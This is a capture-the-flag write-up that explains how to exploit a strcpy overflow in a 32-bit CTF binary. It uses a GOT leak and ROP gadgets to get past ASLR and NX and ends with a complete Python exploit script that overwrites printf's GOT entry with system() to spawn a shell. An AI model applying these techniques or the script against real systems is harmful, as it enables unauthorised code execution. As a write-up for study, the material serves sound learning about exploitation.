Lately I’ve been trying to sharpen my binary exploitation skills and had the perfect opportunity to do so when a friend shared with me a binary from hou.sec.con 2015’s CTF. This is a 32 bit elf binary which basically echoes back whatever is passed to argv via printf() and then copies argv to a fixed size buffer in an unsafe fashion:
Because there is no bounds checking, we can overwrite the return address of strcpy() on the stack by passing a long string. To find out exactly how many bytes of junk are required before overwriting the return address we can use a pattern creation tool (http://projects.jason-rush.com/buffer-overflow-eip-offset-string-generator) and pass its output as argv to our the vuln binary:
This tells us that 112 bytes of junk are required before we start overwriting the return address of strcpy() AKA controlling the EIP register. Were it not for the ASLR and NX protections we’d be doing an 80s style put NOPs + shellcode on the stack and ret2nops. However, ASLR ensures that we cannot predict where on the stack the NOPs would end up, and NX prevents us from executing shellcode on the stack anyway. We can use ROP + a function pointer leak to bypass these protections, and demonstrating these techniques is the main goal of this post.
Our first step will be to leak the true address of the printf() via its GOT entry. We can do this by returning to strcpy() again with the arguments being the address of .bss for the dest, and printf()’s GOT pointer as the source. This will write the true address of printf() to .bss. We could have used other segments of memory besides .bss, but it suits our needs because it is read/write, and is not randomized by ASLR. We can use objdump to discover the address of .bss like so:
Next we need to find the GOT pointer for printf():
Finally, let’s get the PLT address of strcpy() so that we can actually call it:
Awesome, now that we know all these memory addresses let’s start building the exploit slowly:
Our exploit will be a simple python script which creates a specially crafted string to totally fux this program. After initializing our variables to the values we just gathered above, we add the address of pltStrcpy to our payload using python’s struct.pack to put the address in little endian format. Next we add 4 B’s, let’s talk about this in a minute. After that we add the arguments to strcpy() which again are .bss as the dest, and GOT printf() as the source. So let’s run this in gdb-peda, and see what happens:
First things first, we run the program in the debugger like this “`python callEaxWrite.py`”. The reason we need quotes around our backticks is because at least one of our memory addresses (.bss) contains an “a0” byte which is the ascii code for a newline, and will break our string without them. We run “p printf” which is a gdb command that will print the true address of printf in the libc library. Next we run “x/wx 0x804a024” which means “examine 4 bytes at the mem address 0x804a024”. We see that the output of these commands match! This is great, it means we have successfully written the true address of printf to bss. Also, the program crashed with EIP == 0x42424242 which is the ascii code for “BBBB”. What happened here? When we called strcpy we also needed to have it’s return address and two arguments on the stack. The return address we provided it was BBBB so when it finished executing that’s where EIP jumped to. Its two arguments and “our next instruction” are sitting at the top of the stack. If we return to a “pop pop ret” ROP gadget instead of BBBB, we can clear the arguments off the stack and return to the top of the stack where we will have more instructions.
We can use an awesome tool called ROPgadget to find a pop pop ret instruction within our binary whose location is not randomized or marked as no execute. We’ll replace BBBB with the address of this gadget in our exploit:
Now that we have the true address of printf stored at bss we can add the offset between printf and system() in libc to bss to be able to reference and finally call system() for pure pwnage. Let’s get the offset:
So our distance between the two functions is 0xffff1770. The next task is simple but not ez. We have to find a gadget that will let us add 0xffff1770 to the true address of printf. I won’t try to detail my adventure in locating the perfect gadget, as it involved much trial and error here’s the one I ended up using:
This gadget is not the most convenient in the world, as it does a lot more than what we need, fortunately we can mitigate the garbage. The instruction that is useful to us here is “add dword ptr [ecx], edi”. This instruction will add the value stored in edi to the value pointed to by the pointer stored in ecx (the de-referenced value of ecx). This is perfect for us, we’ll get “distance” (0xffff1770) into edi, and bss (0x0804a024) into ecx. However, in order to control these registers we need more gadgetz.
We can use the same “pop edi ; pop ebp ; ret” gadget from earlier to pop the distance off the stack into edi. As well, we’ll put a pointer-to-the-value-“1” + 0x21 on the stack following the distance so that it gets popped into ebp, reason being that eax will get divided by ebp – 0x21 as a consequence of the gadget we are using, and this will ensure that we don’t crash the program by dividing by 0 or some other problem value. We can find the value “1” in program memory again with ROPgadget:
Let’s see what the exploit looks like at this point:
And after running it in the debugger:
So, the value of edi is 0xffff1770, ebp-0x21 is 0x08048045 which points to 0x20000001 (this was supposed to just be a 1, for whatever reason it ends up working anyway, maybe someone can enlighten me), now all that’s left is ecx. Also, ecx is 0x14 bytes away from being what we need it to be which is 0x0804a024. Fortunately there is another gadget that can help us get the job done:
If we run that gadget 0x14 (20) times all our registers will be primed for that add gadget that we found earlier. So let’s continue with the exploit and run it in gdb again:
Bss now contains the true address of system()!!! Also, the program crashed with eip == 0x35624134, let’s hit up our tool again and find out how many bytes of junk we actually need:
So we need 44 bytes of junk following the execution of this rop gadget. This is because gadget adds 0x1c to esp, and then pops 4 registers which increases it by another 16 bytes; 0x1c + 16 = 44. So the hard part is over. The next thing to do is write the string “/bin/sh” somewhere (bss + 0x10 in this case) so that we can use it as our argument to system(). Let’s use ROPgadget to find the location of the characters that are needed:
To actually write the string we’ll have to call strcpy() once for each character, plus the terminating null byte, I was able to find a null at 0x0804a04a, and I’m sure there are many other throughout the binary. Here’s what that process looks like programmatically, I made a simple function and for loop to save on tedium:
and the debugger shows that the string was successfully written…almost done!
The last two things we need to do are overwrite printf’s GOT entry with the address of system, and then call printf with one argument, our pointer to “/bin/sh”:
So did it work???????
We got a shell!!! ltrace shows all the library calls that the program makes. You can download the vulnerable binary here. If you decide to mess around on your own machine just make sure the libc md5 hash matches, otherwise you will have to re-calculate the offset between printf and system as shown above.
import struct def writeByte(dest, src): payload = struct.pack('<I', pltStrcpy) #call strcpy payload += struct.pack('<I', popPopRet) #popPopRet, clean up stack so we can continue to ROP payload += struct.pack('<I', dest) #what addr to write to payload += struct.pack('<I', src) #ptr to char we are writing return payload payload = "" #initialize our payload gotPrintf = 0x0804a00c #readelf -r codecheck pltPrintf = 0x08048310 #we use plt addresses to actually make library calls pltStrcpy = 0x08048320 #objdump -d codecheck | grep strcpy bss = 0x0804a024 #real base bss distance = 0xffff1770 #offset between printf and system in libc valOne = 0x08048045 #pointer to value of 1 binSh = 0x0804a034 #bss + 0x10 #where we will write the string "/bin/sh" to, and later use as argument to system binShArray= [0x08048154, 0x08048157, 0x08048156, 0x0804815e, 0x08048154, 0x08048162, 0x080480d8, 0x0804a04a] #"/bin/sh" popPopRet = 0x080484ee # pop edi ; pop ebp ; ret addEcx = 0x080484e4 # add dword ptr [ecx], edi ; div dword ptr [ebp - 0x21] ; add esp, 0x1c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret incEcx = 0x080485f0 # inc ecx ; ret payload += "A"*112 #fill buffer up w/ junk #write addr of printf to bss payload += struct.pack('<I', pltStrcpy) #call strcpy payload += struct.pack('<I', popPopRet) payload += struct.pack('<I', bss) #first arg to strcpy (dest) payload += struct.pack('<I', gotPrintf) #second arg to strcpy, get true source of printf #get our ducks in a row 4 2 pwn payload += struct.pack('<I', popPopRet) # pop edi ; pop ebp ; ret payload += struct.pack('<I', distance) # need distance to be there for pop edi payload += struct.pack('<I', valOne + 0x21) #get addr of valOne onto the stock for the pop ebp payload += struct.pack('<I', incEcx)*20 #address of (bss - 20) will b in ecx payload += struct.pack('<I', addEcx) #add edi (distance) to [ecx] which contains true addr of printf #payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab" #added 50 bytes from the pattern tool to help us deal with the stacker fuckery caused by this gadget payload += "A"*44 #tool told us 44 bytes, we did the math also and agree #write "/bin/sh" to bss + 0x10 for i in range(0, len(binShArray)): payload += writeByte(binSh + i, binShArray[i]) #overwrite gotPrintf w/ system payload += struct.pack('<I', pltStrcpy) #call strcpy payload += struct.pack('<I', popPopRet) #popPopRet, clean up stack so we can continue to ROP payload += struct.pack('<I', gotPrintf) #dest, overwriting printf pointer payload += struct.pack('<I', bss) #should contain address of system #call system, since we overwrote printf's got entry payload += struct.pack('<I', pltPrintf) payload += "BBBB" payload += struct.pack('<I', binSh) print payload